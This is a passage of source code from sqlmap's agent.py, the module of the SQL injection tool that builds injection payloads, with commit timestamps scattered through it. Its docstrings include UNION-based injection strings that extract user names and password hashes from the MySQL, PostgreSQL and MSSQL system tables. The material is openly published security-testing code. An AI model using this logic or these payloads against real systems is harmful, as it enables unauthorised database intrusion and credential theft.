sqlmap/lib/core/agent.py

867 lines
38 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2012-07-12 21:38:03 +04:00
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
2008-10-15 19:38:22 +04:00
"""
import re
from xml.etree import ElementTree as ET
from lib.core.common import Backend
from lib.core.common import extractRegexResult
2012-07-10 03:19:32 +04:00
from lib.core.common import getSQLSnippet
2010-12-10 14:32:46 +03:00
from lib.core.common import isDBMSVersionAtLeast
2010-12-15 15:50:56 +03:00
from lib.core.common import isTechniqueAvailable
2008-10-15 19:38:22 +04:00
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import singleTimeWarnMessage
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import queries
2012-08-21 13:19:15 +04:00
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.dicts import SQL_STATEMENTS
from lib.core.enums import DBMS
2010-12-08 16:09:27 +03:00
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
2008-10-15 19:38:22 +04:00
from lib.core.exception import sqlmapNoneDataException
2012-04-17 12:41:19 +04:00
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import GENERIC_SQL_COMMENT
from lib.core.settings import PAYLOAD_DELIMITER
2011-02-06 18:53:43 +03:00
from lib.core.unescaper import unescaper
2008-10-15 19:38:22 +04:00
class Agent:
"""
This class defines the SQL agent methods.
"""
def payloadDirect(self, query):
if query.startswith("AND "):
query = query.replace("AND ", "SELECT ", 1)
elif query.startswith(" UNION ALL "):
2010-03-30 15:52:01 +04:00
query = query.replace(" UNION ALL ", "", 1)
elif query.startswith("; "):
2010-03-30 15:52:45 +04:00
query = query.replace("; ", "", 1)
if kb.tamperFunctions:
for function in kb.tamperFunctions:
2012-07-27 02:11:07 +04:00
query, _ = function(payload=query, headers=None)
return query
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
2008-10-15 19:38:22 +04:00
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
if conf.direct:
return self.payloadDirect(newValue)
2012-05-10 18:15:17 +04:00
retVal = ""
2008-10-15 19:38:22 +04:00
if where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if kb.injection.place is not None:
place = kb.injection.place
if kb.injection.parameter is not None:
parameter = kb.injection.parameter
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = paramDict[parameter]
2011-01-22 19:23:33 +03:00
if place == PLACE.URI:
2012-04-17 12:41:19 +04:00
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
2011-01-22 19:23:33 +03:00
origValue = origValue[origValue.rfind('/') + 1:]
2011-09-08 15:13:12 +04:00
for char in ('?', '=', ':'):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = extractRegexResult(r"(?s)(?P<result>(\W+\Z|\w+\Z))", origValue)
2011-01-22 19:23:33 +03:00
if value is None:
2011-02-02 16:34:09 +03:00
if where == PAYLOAD.WHERE.ORIGINAL:
value = origValue
2011-02-02 16:34:09 +03:00
elif where == PAYLOAD.WHERE.NEGATIVE:
if conf.invalidLogical:
match = re.search(r'\A[^ ]+', newValue)
newValue = newValue[len(match.group() if match else ""):]
value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", randomInt(2), randomInt(2))
elif conf.invalidBignum:
value = "%d.%d" % (randomInt(6), randomInt(1))
else:
2011-10-24 04:40:06 +04:00
if newValue.startswith("-"):
value = ""
else:
value = "-%s" % randomInt()
2011-02-02 16:34:09 +03:00
elif where == PAYLOAD.WHERE.REPLACE:
value = ""
else:
value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
2011-04-18 01:39:00 +04:00
if place == PLACE.SOAP:
root = ET.XML(paramString)
iterator = root.getiterator(parameter)
for child in iterator:
child.text = self.addPayloadDelimiters(newValue)
2012-05-10 18:15:17 +04:00
retVal = ET.tostring(root)
elif place in (PLACE.URI, PLACE.CUSTOM_POST):
2012-05-10 18:15:17 +04:00
retVal = paramString.replace("%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR), self.addPayloadDelimiters(newValue))
2012-07-26 14:26:57 +04:00
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
2012-05-10 18:15:17 +04:00
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else:
2012-05-10 18:15:17 +04:00
retVal = paramString.replace("%s=%s" % (parameter, origValue),
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
2012-05-10 18:15:17 +04:00
return retVal
2008-10-15 19:38:22 +04:00
def fullPayload(self, query):
if conf.direct:
return self.payloadDirect(query)
2010-12-14 00:34:35 +03:00
query = self.prefixQuery(query)
query = self.suffixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, expression, prefix=None, where=None, clause=None):
2008-10-15 19:38:22 +04:00
"""
This method defines how the input expression has to be escaped
2008-10-15 19:38:22 +04:00
to perform the injection depending on the injection type
identified as valid
"""
if conf.direct:
return self.payloadDirect(expression)
expression = self.cleanupPayload(expression)
expression = unescaper.unescape(expression)
2010-12-03 14:15:11 +03:00
query = None
if where is None and kb.technique and kb.technique in kb.injection.data:
where = kb.injection.data[kb.technique].where
# If we are replacing (<where>) the parameter original value with
# our payload do not prepend with the prefix
2011-02-02 16:34:09 +03:00
if where == PAYLOAD.WHERE.REPLACE:
query = ""
# If the technique is stacked queries (<stype>) do not put a space
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
elif kb.technique == PAYLOAD.TECHNIQUE.STACKED:
query = kb.injection.prefix
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]:
query = kb.injection.prefix
elif clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]:
query = prefix
2010-12-03 14:15:11 +03:00
# In any other case prepend with the full prefix
else:
query = kb.injection.prefix or prefix or ""
if not (expression and expression[0] == ";"):
query += " "
query = "%s%s" % (query, expression)
2008-10-15 19:38:22 +04:00
return query
2008-10-15 19:38:22 +04:00
def suffixQuery(self, expression, comment=None, suffix=None, where=None):
2008-10-15 19:38:22 +04:00
"""
This method appends the DBMS comment to the
SQL injection request
"""
if conf.direct:
return self.payloadDirect(expression)
expression = self.cleanupPayload(expression)
if Backend.getIdentifiedDbms() == DBMS.ACCESS and comment == GENERIC_SQL_COMMENT:
comment = "%00"
if comment is not None:
expression += comment
2008-10-15 19:38:22 +04:00
if where is None and kb.technique and kb.technique in kb.injection.data:
where = kb.injection.data[kb.technique].where
# If we are replacing (<where>) the parameter original value with
# our payload do not append the suffix
2011-02-02 16:34:09 +03:00
if where == PAYLOAD.WHERE.REPLACE:
pass
elif any([kb.injection.suffix, suffix]) and not (comment and not conf.suffix):
expression += " %s" % (kb.injection.suffix or suffix)
2012-04-02 18:57:15 +04:00
return re.sub(r"(?s);\W*;", ";", expression)
2008-10-15 19:38:22 +04:00
def cleanupPayload(self, payload, origValue=None):
if payload is None:
return
2011-12-21 23:40:42 +04:00
_ = (
("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
("[HASH_REPLACE]", kb.chars.hash_)
2011-12-21 23:40:42 +04:00
)
payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, str(randomInt()))
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, randomStr())
if origValue is not None:
payload = payload.replace("[ORIGVALUE]", origValue)
if "[INFERENCE]" in payload:
if Backend.getIdentifiedDbms() is not None:
inference = queries[Backend.getIdentifiedDbms()].inference
2010-12-14 00:34:35 +03:00
2010-12-10 14:32:46 +03:00
if "dbms_version" in inference:
if isDBMSVersionAtLeast(inference.dbms_version):
inferenceQuery = inference.query
else:
inferenceQuery = inference.query2
else:
inferenceQuery = inference.query
2010-12-14 00:34:35 +03:00
payload = payload.replace("[INFERENCE]", inferenceQuery)
else:
errMsg = "invalid usage of inference payload without "
errMsg += "knowledge of underlying DBMS"
raise sqlmapNoneDataException, errMsg
return payload
def adjustLateValues(self, payload):
2012-04-05 16:55:26 +04:00
"""
Returns payload with a replaced late tags (e.g. SLEEPTIME)
2012-04-05 16:55:26 +04:00
"""
if payload:
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
return payload
2012-04-05 16:55:26 +04:00
2011-12-21 23:40:42 +04:00
def getComment(self, request):
"""
Returns comment form for the given request
"""
2011-12-21 23:40:42 +04:00
return request.comment if "comment" in request else ""
def hexConvertField(self, field):
"""
Returns hex converted field string
"""
rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field
if 'hex' in rootQuery:
hexField = rootQuery.hex.query % field
else:
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return hexField
2008-10-15 19:38:22 +04:00
def nullAndCastField(self, field):
"""
Take in input a field string and return its processed nulled and
casted field string.
Examples:
MySQL input: VERSION()
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
MySQL scope: VERSION()
PostgreSQL input: VERSION()
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
PostgreSQL scope: VERSION()
Oracle input: banner
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
Microsoft SQL Server input: @@VERSION
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: @@VERSION
@param field: field string to be processed
@type field: C{str}
@return: field string nulled and casted
@rtype: C{str}
"""
rootQuery = queries[Backend.getIdentifiedDbms()]
2012-07-21 11:15:54 +04:00
if field.startswith("(CASE") or field.startswith("(IIF") or\
conf.noCast or Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3'):
nulledCastedField = field
else:
nulledCastedField = rootQuery.cast.query % field
if Backend.isDbms(DBMS.ACCESS):
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
2010-11-05 02:08:59 +03:00
else:
nulledCastedField = rootQuery.isnull.query % nulledCastedField
if conf.hexConvert:
2012-04-02 16:27:30 +04:00
nulledCastedField = self.hexConvertField(nulledCastedField)
2008-10-15 19:38:22 +04:00
return nulledCastedField
2008-10-15 19:38:22 +04:00
def nullCastConcatFields(self, fields):
"""
Take in input a sequence of fields string and return its processed
nulled, casted and concatenated fields string.
Examples:
MySQL input: user,password
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
MySQL scope: SELECT user, password FROM mysql.user
PostgreSQL input: usename,passwd
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
Oracle input: COLUMN_NAME,DATA_TYPE
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
@param fields: fields string to be processed
@type fields: C{str}
@return: fields string nulled, casted and concatened
@rtype: C{str}
"""
if not Backend.getDbms():
return fields
2008-10-15 19:38:22 +04:00
2011-10-24 02:24:57 +04:00
if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
nulledCastedConcatFields = fields
else:
fields = fields.replace(", ", ',')
fieldsSplitted = fields.split(',')
dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
nulledCastedFields = []
2008-10-15 19:38:22 +04:00
for field in fieldsSplitted:
nulledCastedFields.append(self.nullAndCastField(field))
2008-10-15 19:38:22 +04:00
2011-09-26 01:10:45 +04:00
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
2011-11-21 00:14:47 +04:00
nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields)
2008-10-15 19:38:22 +04:00
return nulledCastedConcatFields
2008-10-15 19:38:22 +04:00
def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*"
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I)
fieldsExists = re.search("EXISTS(.*)", query, re.I)
fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
fieldsSubstr = re.search("\A(SUBSTR|MID\()", query, re.I)
fieldsMinMaxstr = re.search("(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
fieldsNoSelect = query
2008-10-15 19:38:22 +04:00
if fieldsSubstr:
fieldsToCastStr = query
elif fieldsMinMaxstr:
fieldsToCastStr = fieldsMinMaxstr.groups()[0]
elif fieldsExists:
fieldsToCastStr = fieldsSelect.groups()[0]
elif fieldsSelectTop:
2008-12-03 02:49:38 +03:00
fieldsToCastStr = fieldsSelectTop.groups()[0]
2008-10-15 19:38:22 +04:00
elif fieldsSelectDistinct:
2008-12-03 02:49:38 +03:00
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.groups()[0]
2008-10-15 19:38:22 +04:00
elif fieldsSelectFrom:
2008-12-03 02:49:38 +03:00
fieldsToCastStr = fieldsSelectFrom.groups()[0]
2008-10-15 19:38:22 +04:00
elif fieldsSelect:
2008-12-03 02:49:38 +03:00
fieldsToCastStr = fieldsSelect.groups()[0]
2012-06-15 10:22:44 +04:00
else:
2008-12-03 02:49:38 +03:00
fieldsToCastStr = fieldsNoSelect
2011-02-01 00:20:23 +03:00
# Function
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
fieldsToCastList = [fieldsToCastStr]
else:
fieldsToCastList = fieldsToCastStr.replace(", ", ',')
fieldsToCastList = fieldsToCastList.split(',')
2008-12-03 02:49:38 +03:00
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
2008-10-15 19:38:22 +04:00
def simpleConcatQuery(self, query1, query2):
concatenatedQuery = ""
if Backend.isDbms(DBMS.MYSQL):
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2):
concatenatedQuery = "%s||%s" % (query1, query2)
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
concatenatedQuery = "%s+%s" % (query1, query2)
return concatenatedQuery
def concatQuery(self, query, unpack=True):
2008-10-15 19:38:22 +04:00
"""
Take in input a query string and return its processed nulled,
casted and concatenated query string.
Examples:
MySQL input: SELECT user, password FROM mysql.user
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
@param query: query string to be processed
@type query: C{str}
@return: query string nulled, casted and concatenated
@rtype: C{str}
"""
if unpack:
concatenatedQuery = ""
query = query.replace(", ", ',')
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
return query
2008-10-15 19:38:22 +04:00
2011-05-02 03:42:41 +04:00
if Backend.isDbms(DBMS.MYSQL):
if fieldsExists:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += ",'%s')" % kb.chars.stop
elif fieldsSelectCase:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += ",'%s')" % kb.chars.stop
elif fieldsSelectFrom:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % kb.chars.stop, 1)
elif fieldsSelect:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += ",'%s')" % kb.chars.stop
2008-10-15 19:38:22 +04:00
elif fieldsNoSelect:
2011-09-26 01:10:45 +04:00
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
2008-10-15 19:38:22 +04:00
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2):
if fieldsExists:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
elif fieldsSelectCase:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
concatenatedQuery += ")||'%s'" % kb.chars.stop
elif fieldsSelectFrom:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelect:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
2008-10-15 19:38:22 +04:00
elif fieldsNoSelect:
2011-09-26 01:10:45 +04:00
concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
2008-10-15 19:38:22 +04:00
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if fieldsExists:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectFrom:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelect:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
2008-10-15 19:38:22 +04:00
elif fieldsNoSelect:
2011-09-26 01:10:45 +04:00
concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
2008-10-15 19:38:22 +04:00
elif Backend.isDbms(DBMS.ACCESS):
if fieldsExists:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
concatenatedQuery += "&'%s'" % kb.chars.stop
elif fieldsSelectCase:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1)
concatenatedQuery += ")&'%s'" % kb.chars.stop
elif fieldsSelectFrom:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "&'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelect:
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
concatenatedQuery += "&'%s'" % kb.chars.stop
elif fieldsNoSelect:
2011-09-26 01:10:45 +04:00
concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
2011-05-01 12:04:08 +04:00
else:
concatenatedQuery = query
return concatenatedQuery
2008-10-15 19:38:22 +04:00
2012-09-06 17:51:38 +04:00
def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
2008-10-15 19:38:22 +04:00
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param position: it is the NULL position where it is possible
2008-10-15 19:38:22 +04:00
to inject the query
@type position: C{int}
2008-10-15 19:38:22 +04:00
@return: UNION ALL SELECT query string forged
@rtype: C{str}
"""
2012-09-06 17:51:38 +04:00
fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
2010-12-22 15:16:04 +03:00
if query.startswith("SELECT "):
query = query[len("SELECT "):]
2010-12-22 15:16:04 +03:00
limitOriginal = ""
if where == PAYLOAD.WHERE.ORIGINAL:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ):
limitOriginal = "%s " % (queries[Backend.getIdentifiedDbms()].limit.query % (0, 1))
inbandQuery = self.prefixQuery("%sUNION ALL SELECT " % limitOriginal, prefix=prefix)
2008-10-15 19:38:22 +04:00
if limited:
inbandQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
2012-09-06 17:51:38 +04:00
inbandQuery += fromTable
2011-08-21 00:08:11 +04:00
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
return inbandQuery
topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I)
if topNumRegex:
topNum = topNumRegex.group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
2012-09-06 17:51:38 +04:00
if fromTable and inbandQuery.endswith(fromTable):
inbandQuery = inbandQuery[:-len(fromTable)]
2008-10-15 19:38:22 +04:00
for element in xrange(0, count):
2008-10-15 19:38:22 +04:00
if element > 0:
inbandQuery += ','
2008-10-15 19:38:22 +04:00
if element == position:
if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
2008-10-15 19:38:22 +04:00
else:
inbandQuery += query
2008-10-15 19:38:22 +04:00
else:
inbandQuery += char
2008-10-15 19:38:22 +04:00
